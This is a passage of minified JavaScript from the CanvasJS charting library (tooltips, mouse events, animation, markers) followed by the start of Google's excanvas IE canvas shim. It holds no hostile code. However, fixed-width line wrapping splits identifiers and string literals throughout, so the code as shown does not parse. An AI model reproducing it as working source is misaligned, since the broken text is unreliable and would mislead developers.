+d,h<a.length-1&&(d="</br>"+d)):
(d+=this.chart.replaceKeywordsWithValue(g,c,b,e),h<a.length-1&&(d+="</br>")));null!
==d&&(d=m+d)}else{b=a[0].dataSeries;c=a[0].dataPoint;e=a[0].index;if(null===c.toolT
ipContent||"undefined"===typeof
c.toolTipContent&&null===b.options.toolTipContent)return
null;"line"===b.type||"stepLine"===b.type||"spline"===b.type||"area"===b.type||"ste
pArea"===b.type||"splineArea"===b.type||"column"===
b.type||"bar"===b.type||"scatter"===b.type||"stackedColumn"===b.type||"stackedColum
n100"===b.type||"stackedBar"===b.type||"stackedBar100"===b.type||"stackedArea"===b.
type||"stackedArea100"===b.type||"waterfall"===b.type?g=c.toolTipContent?
c.toolTipContent:b.toolTipContent?b.toolTipContent:this.content&&"function"!
==typeof this.content?this.content:"<span style='\""+
(this.options.fontColor?"":"'color:{color};'")+"\"'>"+(c.label?"{label}":"{x}")
+":</span>&nbsp;&nbsp;{y}":"bubble"===b.type?g=c.toolTipContent?
c.toolTipContent:b.toolTipContent?b.toolTipContent:this.content&&"function"!
==typeof this.content?this.content:"<span style='\""+
(this.options.fontColor?"":"'color:{color};'")+"\"'>"+(c.label?"{label}":"{x}")
+":</span>&nbsp;&nbsp;{y}, &nbsp;&nbsp;
{z}":"pie"===b.type||"doughnut"===b.type||"funnel"===b.type||"pyramid"===b.type?
g=c.toolTipContent?c.toolTipContent:b.toolTipContent?
b.toolTipContent:this.content&&"function"!==typeof this.content?this.content:"<span
style='\""+(this.options.fontColor?"":
"'color:{color};'")+"\"'>"+
(c.name?"{name}:</span>&nbsp;&nbsp;":c.label?"{label}:</span>&nbsp;&nbsp;":"</span>
")
+"{y}":"rangeColumn"===b.type||"rangeBar"===b.type||"rangeArea"===b.type||"rangeSpl
ineArea"===b.type||"error"===b.type?g=c.toolTipContent?
c.toolTipContent:b.toolTipContent?b.toolTipContent:this.content&&"function"!
==typeof this.content?this.content:"<span style='\""+
(this.options.fontColor?"":"'color:{color};'")+"\"'>"+(c.label?"{label}":"{x}")
+" :</span>&nbsp;&nbsp;{y[0]}, &nbsp;{y[1]}":
"candlestick"===b.type||"ohlc"===b.type?g=c.toolTipContent?
c.toolTipContent:b.toolTipContent?b.toolTipContent:this.content&&"function"!
==typeof this.content?this.content:"<span style='\""+
(this.options.fontColor?"":"'color:{color};'")+"\"'>"+(c.label?"{label}":"{x}")
+"</span><br/>Open: &nbsp;&nbsp;{y[0]}<br/>High: &nbsp;&nbsp;&nbsp;{y[1]}<br/>Low:
&nbsp;&nbsp;&nbsp;&nbsp;{y[2]}<br/>Close: &nbsp;&nbsp;
{y[3]}":"boxAndWhisker"===b.type&&(g=c.toolTipContent?
c.toolTipContent:b.toolTipContent?b.toolTipContent:
this.content&&"function"!==typeof this.content?this.content:"<span style='\""+
(this.options.fontColor?"":"'color:{color};'")+"\"'>"+(c.label?"{label}":"{x}")
+"</span><br/>Minimum: &nbsp;&nbsp;{y[0]}<br/>Q1:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp
;{y[1]}<br/>Q2:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp
;{y[4]}<br/>Q3:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp
;{y[2]}<br/>Maximum: &nbsp;{y[3]}");
null===d&&(d="");d+=this.chart.replaceKeywordsWithValue(g,c,b,e)}return d};
$.prototype.enableAnimation=function(){if(!this.container.style.WebkitTransition)
{var
a=this.getContainerTransition(this.containerTransitionDuration);this.container.styl
e.WebkitTransition=a;this.container.style.MsTransition=a;this.container.style.trans
ition=a;this.container.style.MozTransition=this.mozContainerTransition}};
$.prototype.disableAnimation=function()
{this.container.style.WebkitTransition&&(this.container.style.WebkitTransition=
"",this.container.style.MozTransition="",this.container.style.MsTransition="",this.
container.style.transition="")};$.prototype.hide=function(a)
{this.container&&(this.container.style.display="none",this.currentSeriesIndex=-
1,this._prevY=this._prevX=NaN,("undefined"===typeof a||
a)&&this.chart.resetOverlayedCanvas())};$.prototype.show=function(a,d,b)
{this._updateToolTip(a,d,"undefined"===typeof b?!1:b)};
$.prototype.fixMozTransitionDelay=function(a,d)
{if(20<this.chart._eventManager.lastObjectId)this.mozContainerTransition=
this.getContainerTransition(0);else{var
b=parseFloat(this.container.style.left),b=isNaN(b)?
0:b,c=parseFloat(this.container.style.bottom),c=isNaN(c)?
0:c;10<Math.sqrt(Math.pow(b-a,2)+Math.pow(c-d,2))?
this.mozContainerTransition=this.getContainerTransition(0.1):this.mozContainerTrans
ition=this.getContainerTransition(0)}};
$.prototype.getContainerTransition=function(a){return"left "+a+"s ease-out 0s,
bottom "+a+"s ease-out 0s"};ha.prototype.reset=function()
{this.lastObjectId=0;this.objectMap=[];this.rectangularRegionEventSubscriptions=
[];this.previousDataPointEventObject=null;this.eventObjects=[];r&&(this.ghostCtx.cl
earRect(0,0,this.chart.width,this.chart.height),this.ghostCtx.beginPath())};ha.prot
otype.getNewObjectTrackingId=function(){return+
+this.lastObjectId};ha.prototype.mouseEventHandler=function(a)
{if("mousemove"===a.type||"click"===a.type){var
d=[],b=Ra(a),c=null;if((c=this.chart.getObjectAtXY(b.x,b.y,!1))&&"undefined"!
==typeof this.objectMap[c])if(c=this.objectMap[c],"dataPoint"===c.objectType){var
e=this.chart.data[c.dataSeriesIndex],
g=e.dataPoints[c.dataPointIndex],h=c.dataPointIndex;c.eventParameter={x:b.x,y:b.y,d
ataPoint:g,dataSeries:e.options,dataPointIndex:h,dataSeriesIndex:e.index,chart:this
.chart};c.eventContext={context:g,userContext:g,mouseover:"mouseover",mousemove:"mo
usemove",mouseout:"mouseout",click:"click"};d.push(c);c=this.objectMap[e.id];c.even
tParameter={x:b.x,y:b.y,dataPoint:g,dataSeries:e.options,dataPointIndex:h,dataSerie
sIndex:e.index,chart:this.chart};c.eventContext={context:e,userContext:e.options,mo
useover:"mouseover",
mousemove:"mousemove",mouseout:"mouseout",click:"click"};d.push(this.objectMap[e.id
])}else"legendItem"===c.objectType&&(e=this.chart.data[c.dataSeriesIndex],g=null!
==c.dataPointIndex?
e.dataPoints[c.dataPointIndex]:null,c.eventParameter={x:b.x,y:b.y,dataSeries:e.opti
ons,dataPoint:g,dataPointIndex:c.dataPointIndex,dataSeriesIndex:c.dataSeriesIndex,c
hart:this.chart},c.eventContext={context:this.chart.legend,userContext:this.chart.l
egend.options,mouseover:"itemmouseover",mousemove:"itemmousemove",mouseout:"itemmou
seout",
click:"itemclick"},d.push(c));e=[];for(b=0;b<this.mouseoveredObjectMaps.length;b++)
{g=!0;for(c=0;c<d.length;c++)if(d[c].id===this.mouseoveredObjectMaps[b].id){g=!
1;break}g?
this.fireEvent(this.mouseoveredObjectMaps[b],"mouseout",a):e.push(this.mouseoveredO
bjectMaps[b])}this.mouseoveredObjectMaps=e;for(b=0;b<d.length;b++){e=!
1;for(c=0;c<this.mouseoveredObjectMaps.length;c+
+)if(d[b].id===this.mouseoveredObjectMaps[c].id){e=!0;break}e||
(this.fireEvent(d[b],"mouseover",a),this.mouseoveredObjectMaps.push(d[b]));
"click"===a.type?
this.fireEvent(d[b],"click",a):"mousemove"===a.type&&this.fireEvent(d[b],"mousemove
",a)}}};ha.prototype.fireEvent=function(a,d,b){if(a&&d){var
c=a.eventParameter,e=a.eventContext,g=a.eventContext.userContext;g&&(e&&g[e[d]])&&g
[e[d]].call(g,c);"mouseout"!==d?g.cursor&&g.cursor!
==b.target.style.cursor&&(b.target.style.cursor=g.cursor):
(b.target.style.cursor=this.chart._defaultCursor,delete a.eventParameter,delete
a.eventContext);"click"===d&&("dataPoint"===a.objectType&&this.chart.pieDoughnutCli
ckHandler)&&
this.chart.pieDoughnutClickHandler.call(this.chart.data[a.dataSeriesIndex],c);"clic
k"===d&&("dataPoint"===a.objectType&&this.chart.funnelPyramidClickHandler)&&this.ch
art.funnelPyramidClickHandler.call(this.chart.data[a.dataSeriesIndex],c)}};ga.proto
type.animate=function(a,d,b,c,e){var g=this;this.chart.isAnimating=!0;e=e||
M.easing.linear;b&&this.animations.push({startTime:(new Date).getTime()+(a?
a:0),duration:d,animationCallback:b,onComplete:c});for(a=[];0<this.animations.lengt
h;)if(d=this.animations.shift(),
b=(new Date).getTime(),c=0,d.startTime<=b&&(c=e(Math.min(b-
d.startTime,d.duration),0,1,d.duration),c=Math.min(c,1),isNaN(c)||!
isFinite(c))&&(c=1),1>c&&a.push(d),d.animationCallback(c),1<=c&&d.onComplete)d.onCo
mplete();this.animations=a;0<this.animations.length?
this.animationRequestId=this.chart.requestAnimFrame.call(window,function()
{g.animate.call(g)}):this.chart.isAnimating=!
1};ga.prototype.cancelAllAnimations=function()
{this.animations=[];this.animationRequestId&&this.chart.cancelRequestAnimFrame.call
(window,
this.animationRequestId);this.animationRequestId=null;this.chart.isAnimating=!
1};var M={yScaleAnimation:function(a,d){if(0!==a){var
b=d.dest,c=d.source.canvas,e=d.animationBase;b.drawImage(c,0,0,c.width,c.height,0,e
-e*a,b.canvas.width/W,a*b.canvas.height/W)}},xScaleAnimation:function(a,d){if(0!
==a){var
b=d.dest,c=d.source.canvas,e=d.animationBase;b.drawImage(c,0,0,c.width,c.height,e-
e*a,0,a*b.canvas.width/W,b.canvas.height/W)}},xClipAnimation:function(a,d){if(0!
==a){var b=d.dest,c=d.source.canvas;
b.save();0<a&&b.drawImage(c,0,0,c.width*a,c.height,0,0,c.width*a/W,c.height/W);b.re
store()}},fadeInAnimation:function(a,d){if(0!==a){var
b=d.dest,c=d.source.canvas;b.save();b.globalAlpha=a;b.drawImage(c,0,0,c.width,c.hei
ght,0,0,b.canvas.width/W,b.canvas.height/W);b.restore()}},easing:
{linear:function(a,d,b,c){return b*a/c+d},easeOutQuad:function(a,d,b,c){return-
b*(a/=c)*(a-2)+d},easeOutQuart:function(a,d,b,c){return-b*((a=a/c-1)*a*a*a-
1)+d},easeInQuad:function(a,d,b,c){return b*(a/=c)*a+d},easeInQuart:function(a,
d,b,c){return b*(a/=c)*a*a*a+d}}},ia={drawMarker:function(a,d,b,c,e,g,h,l){if(b)
{var p=1;b.fillStyle=g?g:"#000000";b.strokeStyle=h?h:"#000000";b.lineWidth=l?
l:0;b.setLineDash&&b.setLineDash(R("solid",l));"circle"===c?
(b.moveTo(a,d),b.beginPath(),b.arc(a,d,e/2,0,2*Math.PI,!1),g&&b.fill(),l&&(h?
b.stroke():
(p=b.globalAlpha,b.globalAlpha=0.15,b.strokeStyle="black",b.stroke(),b.globalAlpha=
p))):"square"===c?(b.beginPath(),b.rect(a-e/2,d-e/2,e,e),g&&b.fill(),l&&(h?
b.stroke():(p=b.globalAlpha,b.globalAlpha=
0.15,b.strokeStyle="black",b.stroke(),b.globalAlpha=p))):"triangle"===c?
(b.beginPath(),b.moveTo(a-e/2,d+e/2),b.lineTo(a+e/2,d+e/2),b.lineTo(a,d-
e/2),b.closePath(),g&&b.fill(),l&&(h?b.stroke():
(p=b.globalAlpha,b.globalAlpha=0.15,b.strokeStyle="black",b.stroke(),b.globalAlpha=
p)),b.beginPath()):"cross"===c&&(b.strokeStyle=g,b.lineWidth=e/4,b.beginPath(),b.mo
veTo(a-e/2,d-e/2),b.lineTo(a+e/2,d+e/2),b.stroke(),b.moveTo(a+e/2,d-
e/2),b.lineTo(a-e/2,d+e/2),b.stroke())}},drawMarkers:function(a){for(var d=
0;d<a.length;d++){var
b=a[d];ia.drawMarker(b.x,b.y,b.ctx,b.type,b.size,b.color,b.borderColor,b.borderThic
kness)}}};return p}();Na.Chart.version="v2.3.2 GA"})();

/*
excanvas is used to support IE678 which do not implement HTML5 Canvas Element.
You can safely remove the following excanvas code if you don't need to support
older browsers.

Copyright 2006 Google Inc. https://code.google.com/p/explorercanvas/


Licensed under the Apache License, Version 2.0
*/
document.createElement("canvas").getContext||function(){function V(){return
this.context_||(this.context_=new C(this))}function W(a,b,c){var
g=M.call(arguments,2);return function(){return
a.apply(b,g.concat(M.call(arguments)))}}function N(a){return
String(a).replace(/&/g,"&amp;").replace(/"/g,"&quot;")}function O(a)
{a.namespaces.g_vml_||a.namespaces.add("g_vml_","urn:schemas-microsoft-
com:vml","#default#VML");a.namespaces.g_o_||a.namespaces.add("g_o_","urn:schemas-
microsoft-com:office:office","#default#VML");
a.styleSheets.ex_canvas_||
(a=a.createStyleSheet(),a.owningElement.id="ex_canvas_",a.cssText="canvas{display:i
nline-block;overflow:hidden;text-align:left;width:300px;height:150px}")}function
X(a){var b=a.srcElement;switch(a.propertyName){case
"width":b.getContext().clearRect();b.style.width=b.attributes.width.nodeValue+"px";
b.firstChild.style.width=b.clientWidth+"px";break;case
"height":b.getContext().clearRect(),b.style.height=b.attributes.height.nodeValue+"p
x",b.firstChild.style.height=b.clientHeight+
"px"}}function Y(a)
{a=a.srcElement;a.firstChild&&(a.firstChild.style.width=a.clientWidth+"px",a.firstC
hild.style.height=a.clientHeight+"px")}function D(){return[[1,0,0],[0,1,0],
[0,0,1]]}function t(a,b){for(var c=D(),g=0;3>g;g++)for(var e=0;3>e;e++){for(var
f=0,d=0;3>d;d++)f+=a[g][d]*b[d][e];c[g][e]=f}return c}function P(a,b)
{b.fillStyle=a.fillStyle;b.lineCap=a.lineCap;b.lineJoin=a.lineJoin;b.lineWidth=a.li
neWidth;b.miterLimit=a.miterLimit;b.shadowBlur=a.shadowBlur;b.shadowColor=a.shadowC
olor;b.shadowOffsetX=
a.shadowOffsetX;b.shadowOffsetY=a.shadowOffsetY;b.strokeStyle=a.strokeStyle;b.globa
lAlpha=a.globalAlpha;b.font=a.font;b.textAlign=a.textAlign;b.textBaseline=a.textBas
eline;b.arcScaleX_=a.arcScaleX_;b.arcScaleY_=a.arcScaleY_;b.lineScale_=a.lineScale_
}function Q(a){var
b=a.indexOf("(",3),c=a.indexOf(")",b+1),b=a.substring(b+1,c).split(",");if(4!
=b.length||"a"!=a.charAt(3))b[3]=1;return b}function E(a,b,c){return
Math.min(c,Math.max(b,a))}function F(a,b,c){0>c&&c++;1<c&&c--;return 1>6*c?a+6*(b-
a)*c:
1>2*c?b:2>3*c?a+6*(b-a)*(2/3-c):a}function G(a){if(a in H)return H[a];var
b,c=1;a=String(a);if("#"==a.charAt(0))b=a;else if(/^rgb/.test(a))
{c=Q(a);b="#";for(var g,e=0;3>e;e++)g=-1!=c[e].indexOf("%")?
Math.floor(255*(parseFloat(c[e])/100)):+c[e],b+=v[E(g,0,255)];c=+c[3]}else
if(/^hsl/.test(a)){e=c=Q(a);b=parseFloat(e[0])/360%360;0>b&&b+
+;g=E(parseFloat(e[1])/100,0,1);e=E(parseFloat(e[2])/100,0,1);if(0==g)g=e=b=e;else{
var f=0.5>e?e*(1+g):e+g-e*g,d=2*e-f;g=F(d,f,b+1/3);e=F(d,f,b);b=F(d,f,b-1/3)}b="#"+
v[Math.floor(255*g)]+v[Math.floor(255*e)]+v[Math.floor(255*b)];c=c[3]}else b=Z[a]||
a;return H[a]={color:b,alpha:c}}function C(a)
{this.m_=D();this.mStack_=[];this.aStack_=[];this.currentPath_=[];this.fillStyle=th
is.strokeStyle="#000";this.lineWidth=1;this.lineJoin="miter";this.lineCap="butt";th
is.miterLimit=1*q;this.globalAlpha=1;this.font="10px sans-
serif";this.textAlign="left";this.textBaseline="alphabetic";this.canvas=a;var
b="width:"+a.clientWidth+"px;height:"+a.clientHeight+"px;overflow:hidden;position:a
bsolute",
c=a.ownerDocument.createElement("div");c.style.cssText=b;a.appendChild(c);b=c.clone
Node(!
1);b.style.backgroundColor="red";b.style.filter="alpha(opacity=0)";a.appendChild(b)
;this.element_=c;this.lineScale_=this.arcScaleY_=this.arcScaleX_=1}function
R(a,b,c,g)
{a.currentPath_.push({type:"bezierCurveTo",cp1x:b.x,cp1y:b.y,cp2x:c.x,cp2y:c.y,x:g.
x,y:g.y});a.currentX_=g.x;a.currentY_=g.y}function S(a,b){var
c=G(a.strokeStyle),g=c.color,c=c.alpha*a.globalAlpha,e=a.lineScale_*a.lineWidth;1>e
&&(c*=e);b.push("<g_vml_:stroke",
' opacity="',c,'"',' joinstyle="',a.lineJoin,'"',' miterlimit="',a.miterLimit,'"','
endcap="',$[a.lineCap]||"square",'"',' weight="',e,'px"',' color="',g,'"
/>')}function T(a,b,c,g){var e=a.fillStyle,f=a.arcScaleX_,d=a.arcScaleY_,k=g.x-
c.x,n=g.y-c.y;if(e instanceof w){var h=0,l=g=0,u=0,m=1;if("gradient"==e.type_)
{h=e.x1_/f;c=e.y1_/d;var p=s(a,e.x0_/f,e.y0_/d),h=s(a,h,c),h=180*Math.atan2(h.x-
p.x,h.y-p.y)/Math.PI;0>h&&(h+=360);1E-6>h&&(h=0)}else p=s(a,e.x0_,e.y0_),g=(p.x-
c.x)/k,l=(p.y-c.y)/n,k/=f*q,
n/=d*q,m=x.max(k,n),u=2*e.r0_/m,m=2*e.r1_/m-u;f=e.colors_;f.sort(function(a,b)
{return a.offset-b.offset});d=f.length;p=f[0].color;c=f[d-
1].color;k=f[0].alpha*a.globalAlpha;a=f[d-1].alpha*a.globalAlpha;for(var
n=[],r=0;r<d;r++){var t=f[r];n.push(t.offset*m+u+" "+t.color)}b.push('<g_vml_:fill
type="',e.type_,'"',' method="none" focus="100%"',' color="',p,'"','
color2="',c,'"',' colors="',n.join(","),'"',' opacity="',a,'"','
g_o_:opacity2="',k,'"',' angle="',h,'"',' focusposition="',g,",",l,'" />')}else e
instanceof
I?k&&n&&b.push("<g_vml_:fill",' position="',-c.x/k*f*f,",",-c.y/n*d*d,'"','
type="tile"',' src="',e.src_,'" />'):(e=G(a.fillStyle),b.push('<g_vml_:fill
color="',e.color,'" opacity="',e.alpha*a.globalAlpha,'" />'))}function s(a,b,c)
{a=a.m_;return{x:q*(b*a[0][0]+c*a[1][0]+a[2][0])-r,y:q*(b*a[0][1]+c*a[1][1]+a[2]
[1])-r}}function z(a,b,c){isFinite(b[0][0])&&(isFinite(b[0][1])&&isFinite(b[1]
[0])&&isFinite(b[1][1])&&isFinite(b[2][0])&&isFinite(b[2]
[1]))&&(a.m_=b,c&&(a.lineScale_=aa(ba(b[0][0]*b[1][1]-b[0][1]*
b[1][0]))))}function w(a)
{this.type_=a;this.r1_=this.y1_=this.x1_=this.r0_=this.y0_=this.x0_=0;this.colors_=
[]}function I(a,b){if(!a||1!=a.nodeType||"IMG"!=a.tagName)throw new
A("TYPE_MISMATCH_ERR");if("complete"!=a.readyState)throw new
A("INVALID_STATE_ERR");switch(b){case "repeat":case null:case
"":this.repetition_="repeat";break;case "repeat-x":case "repeat-y":case "no-
repeat":this.repetition_=b;break;default:throw new
A("SYNTAX_ERR");}this.src_=a.src;this.width_=a.width;this.height_=a.height}
function A(a){this.code=this[a];this.message=a+": DOM Exception "+this.code}var
x=Math,k=x.round,J=x.sin,K=x.cos,ba=x.abs,aa=x.sqrt,q=10,r=q/2;navigator.userAgent.
match(/MSIE ([\d.]+)?/);var M=Array.prototype.slice;O(document);var
U={init:function(a){a=a||
document;a.createElement("canvas");a.attachEvent("onreadystatechange",W(this.init_,
this,a))},init_:function(a){a=a.getElementsByTagName("canvas");for(var
b=0;b<a.length;b++)this.initElement(a[b])},initElement:function(a){if(!
a.getContext){a.getContext=
V;O(a.ownerDocument);a.innerHTML="";a.attachEvent("onpropertychange",X);a.attachEve
nt("onresize",Y);var b=a.attributes;b.width&&b.width.specified?
a.style.width=b.width.nodeValue+"px":a.width=a.clientWidth;b.height&&b.height.speci
fied?a.style.height=b.height.nodeValue+"px":a.height=a.clientHeight}return
a}};U.init();for(var v=[],d=0;16>d;d++)for(var B=0;16>B;B+
+)v[16*d+B]=d.toString(16)+B.toString(16);var
Z={aliceblue:"#F0F8FF",antiquewhite:"#FAEBD7",aquamarine:"#7FFFD4",azure:"#F0FFFF",
beige:"#F5F5DC",
bisque:"#FFE4C4",black:"#000000",blanchedalmond:"#FFEBCD",blueviolet:"#8A2BE2",brow
n:"#A52A2A",burlywood:"#DEB887",cadetblue:"#5F9EA0",chartreuse:"#7FFF00",chocolate:
"#D2691E",coral:"#FF7F50",cornflowerblue:"#6495ED",cornsilk:"#FFF8DC",crimson:"#DC1
43C",cyan:"#00FFFF",darkblue:"#00008B",darkcyan:"#008B8B",darkgoldenrod:"#B8860B",d
arkgray:"#A9A9A9",darkgreen:"#006400",darkgrey:"#A9A9A9",darkkhaki:"#BDB76B",darkma
genta:"#8B008B",darkolivegreen:"#556B2F",darkorange:"#FF8C00",darkorchid:"#9932CC",
darkred:"#8B0000",
darksalmon:"#E9967A",darkseagreen:"#8FBC8F",darkslateblue:"#483D8B",darkslategray:"
#2F4F4F",darkslategrey:"#2F4F4F",darkturquoise:"#00CED1",darkviolet:"#9400D3",deepp
ink:"#FF1493",deepskyblue:"#00BFFF",dimgray:"#696969",dimgrey:"#696969",dodgerblue:
"#1E90FF",firebrick:"#B22222",floralwhite:"#FFFAF0",forestgreen:"#228B22",gainsboro
:"#DCDCDC",ghostwhite:"#F8F8FF",gold:"#FFD700",goldenrod:"#DAA520",grey:"#808080",g
reenyellow:"#ADFF2F",honeydew:"#F0FFF0",hotpink:"#FF69B4",indianred:"#CD5C5C",indig
o:"#4B0082",
ivory:"#FFFFF0",khaki:"#F0E68C",lavender:"#E6E6FA",lavenderblush:"#FFF0F5",lawngree
n:"#7CFC00",lemonchiffon:"#FFFACD",lightblue:"#ADD8E6",lightcoral:"#F08080",lightcy
an:"#E0FFFF",lightgoldenrodyellow:"#FAFAD2",lightgreen:"#90EE90",lightgrey:"#D3D3D3
",lightpink:"#FFB6C1",lightsalmon:"#FFA07A",lightseagreen:"#20B2AA",lightskyblue:"#
87CEFA",lightslategray:"#778899",lightslategrey:"#778899",lightsteelblue:"#B0C4DE",
lightyellow:"#FFFFE0",limegreen:"#32CD32",linen:"#FAF0E6",magenta:"#FF00FF",mediuma
quamarine:"#66CDAA",
mediumblue:"#0000CD",mediumorchid:"#BA55D3",mediumpurple:"#9370DB",mediumseagreen:"
#3CB371",mediumslateblue:"#7B68EE",mediumspringgreen:"#00FA9A",mediumturquoise:"#48
D1CC",mediumvioletred:"#C71585",midnightblue:"#191970",mintcream:"#F5FFFA",mistyros
e:"#FFE4E1",moccasin:"#FFE4B5",navajowhite:"#FFDEAD",oldlace:"#FDF5E6",olivedrab:"#
6B8E23",orange:"#FFA500",orangered:"#FF4500",orchid:"#DA70D6",palegoldenrod:"#EEE8A
A",palegreen:"#98FB98",paleturquoise:"#AFEEEE",palevioletred:"#DB7093",papayawhip:"
#FFEFD5",
peachpuff:"#FFDAB9",peru:"#CD853F",pink:"#FFC0CB",plum:"#DDA0DD",powderblue:"#B0E0E
6",rosybrown:"#BC8F8F",royalblue:"#4169E1",saddlebrown:"#8B4513",salmon:"#FA8072",s
andybrown:"#F4A460",seagreen:"#2E8B57",seashell:"#FFF5EE",sienna:"#A0522D",skyblue:
"#87CEEB",slateblue:"#6A5ACD",slategray:"#708090",slategrey:"#708090",snow:"#FFFAFA
",springgreen:"#00FF7F",steelblue:"#4682B4",tan:"#D2B48C",thistle:"#D8BFD8",tomato:
"#FF6347",turquoise:"#40E0D0",violet:"#EE82EE",wheat:"#F5DEB3",whitesmoke:"#F5F5F5"
,yellowgreen:"#9ACD32"},
H={},L={},$={butt:"flat",round:"round"},d=C.prototype;d.clearRect=function()
{this.textMeasureEl_&&(this.textMeasureEl_.removeNode(!
0),this.textMeasureEl_=null);this.element_.innerHTML=""};d.beginPath=function()
{this.currentPath_=[]};d.moveTo=function(a,b){var
c=s(this,a,b);this.currentPath_.push({type:"moveTo",x:c.x,y:c.y});this.currentX_=c.
x;this.currentY_=c.y};d.lineTo=function(a,b){var
c=s(this,a,b);this.currentPath_.push({type:"lineTo",x:c.x,y:c.y});this.currentX_=c.
x;this.currentY_=c.y};d.bezierCurveTo=
function(a,b,c,g,e,f)
{e=s(this,e,f);a=s(this,a,b);c=s(this,c,g);R(this,a,c,e)};d.quadraticCurveTo=functi
on(a,b,c,g){a=s(this,a,b);c=s(this,c,g);g={x:this.currentX_+2/3*(a.x-
this.currentX_),y:this.currentY_+2/3*(a.y-this.currentY_)};R(this,g,{x:g.x+(c.x-
this.currentX_)/3,y:g.y+(c.y-this.currentY_)/3},c)};d.arc=function(a,b,c,g,e,f)
{c*=q;var d=f?"at":"wa",k=a+K(g)*c-r,n=b+J(g)*c-r;g=a+K(e)*c-r;e=b+J(e)*c-r;k!=g||
f||
(k+=0.125);a=s(this,a,b);k=s(this,k,n);g=s(this,g,e);this.currentPath_.push({type:d
,
x:a.x,y:a.y,radius:c,xStart:k.x,yStart:k.y,xEnd:g.x,yEnd:g.y})};d.rect=function(a,b
,c,g)
{this.moveTo(a,b);this.lineTo(a+c,b);this.lineTo(a+c,b+g);this.lineTo(a,b+g);this.c
losePath()};d.strokeRect=function(a,b,c,g){var
e=this.currentPath_;this.beginPath();this.moveTo(a,b);this.lineTo(a+c,b);this.lineT
o(a+c,b+g);this.lineTo(a,b+g);this.closePath();this.stroke();this.currentPath_=e};d
.fillRect=function(a,b,c,g){var
e=this.currentPath_;this.beginPath();this.moveTo(a,b);this.lineTo(a+c,b);this.lineT
o(a+
c,b+g);this.lineTo(a,b+g);this.closePath();this.fill();this.currentPath_=e};d.creat
eLinearGradient=function(a,b,c,g){var e=new
w("gradient");e.x0_=a;e.y0_=b;e.x1_=c;e.y1_=g;return
e};d.createRadialGradient=function(a,b,c,g,e,f){var d=new
w("gradientradial");d.x0_=a;d.y0_=b;d.r0_=c;d.x1_=g;d.y1_=e;d.r1_=f;return
d};d.drawImage=function(a,b){var
c,g,e,d,r,y,n,h;e=a.runtimeStyle.width;d=a.runtimeStyle.height;a.runtimeStyle.width
="auto";a.runtimeStyle.height="auto";var l=a.width,u=a.height;a.runtimeStyle.width=
e;a.runtimeStyle.height=d;if(3==arguments.length)c=arguments[1],g=arguments[2],r=y=
0,n=e=l,h=d=u;else
if(5==arguments.length)c=arguments[1],g=arguments[2],e=arguments[3],d=arguments[4],
r=y=0,n=l,h=u;else
if(9==arguments.length)r=arguments[1],y=arguments[2],n=arguments[3],h=arguments[4],
c=arguments[5],g=arguments[6],e=arguments[7],d=arguments[8];else throw
Error("Invalid number of arguments");var m=s(this,c,g),p=[];p.push("
<g_vml_:group",' coordsize="',10*q,",",10*q,'"',' coordorigin="0,0"','
style="width:',
10,"px;height:",10,"px;position:absolute;");if(1!=this.m_[0][0]||this.m_[0][1]||1!
=this.m_[1][1]||this.m_[1][0]){var t=[];t.push("M11=",this.m_[0]
[0],",","M12=",this.m_[1][0],",","M21=",this.m_[0][1],",","M22=",this.m_[1]
[1],",","Dx=",k(m.x/q),",","Dy=",k(m.y/q),"");var
v=s(this,c+e,g),w=s(this,c,g+d);c=s(this,c+e,g+d);m.x=x.max(m.x,v.x,w.x,c.x);m.y=x.
max(m.y,v.y,w.y,c.y);p.push("padding:0 ",k(m.x/q),"px ",k(m.y/q),"px
0;filter:progid:DXImageTransform.Microsoft.Matrix(",t.join(""),",
sizingmethod='clip');")}else p.push("top:",
k(m.y/q),"px;left:",k(m.x/q),"px;");p.push(' ">','<g_vml_:image src="',a.src,'"','
style="width:',q*e,"px;"," height:",q*d,'px"',' cropleft="',r/l,'"','
croptop="',y/u,'"',' cropright="',(l-r-n)/l,'"',' cropbottom="',(u-y-h)/u,'"',"
/>","</g_vml_:group>");this.element_.insertAdjacentHTML("BeforeEnd",p.join(""))};d.
stroke=function(a){var b=[];b.push("<g_vml_:shape",' filled="',!!a,'"','
style="position:absolute;width:',10,"px;height:",10,'px;"',' coordorigin="0,0"','
coordsize="',10*q,",",10*q,'"',
' stroked="',!a,'"',' path="');for(var
c={x:null,y:null},d={x:null,y:null},e=0;e<this.currentPath_.length;e++){var
f=this.currentPath_[e];switch(f.type){case "moveTo":b.push(" m
",k(f.x),",",k(f.y));break;case "lineTo":b.push(" l ",k(f.x),",",k(f.y));break;case
"close":b.push(" x ");f=null;break;case "bezierCurveTo":b.push(" c
",k(f.cp1x),",",k(f.cp1y),",",k(f.cp2x),",",k(f.cp2y),",",k(f.x),",",k(f.y));break;
case "at":case "wa":b.push(" ",f.type," ",k(f.x-
this.arcScaleX_*f.radius),",",k(f.y-this.arcScaleY_*
f.radius)," ",k(f.x+this.arcScaleX_*f.radius),",",k(f.y+this.arcScaleY_*f.radius),"
",k(f.xStart),",",k(f.yStart)," ",k(f.xEnd),",",k(f.yEnd))}if(f){if(null==c.x||
f.x<c.x)c.x=f.x;if(null==d.x||f.x>d.x)d.x=f.x;if(null==c.y||
f.y<c.y)c.y=f.y;if(null==d.y||f.y>d.y)d.y=f.y}}b.push(' ">');a?
T(this,b,c,d):S(this,b);b.push("</g_vml_:shape>");this.element_.insertAdjacentHTML(
"beforeEnd",b.join(""))};d.fill=function(){this.stroke(!0)};d.closePath=function()
{this.currentPath_.push({type:"close"})};d.save=function(){var a=
{};P(this,a);this.aStack_.push(a);this.mStack_.push(this.m_);this.m_=t(D(),this.m_)
};d.restore=function()
{this.aStack_.length&&(P(this.aStack_.pop(),this),this.m_=this.mStack_.pop())};d.tr
anslate=function(a,b){z(this,t([[1,0,0],[0,1,0],[a,b,1]],this.m_),!
1)};d.rotate=function(a){var b=K(a);a=J(a);z(this,t([[b,a,0],[-a,b,0],
[0,0,1]],this.m_),!1)};d.scale=function(a,b)
{this.arcScaleX_*=a;this.arcScaleY_*=b;z(this,t([[a,0,0],[0,b,0],
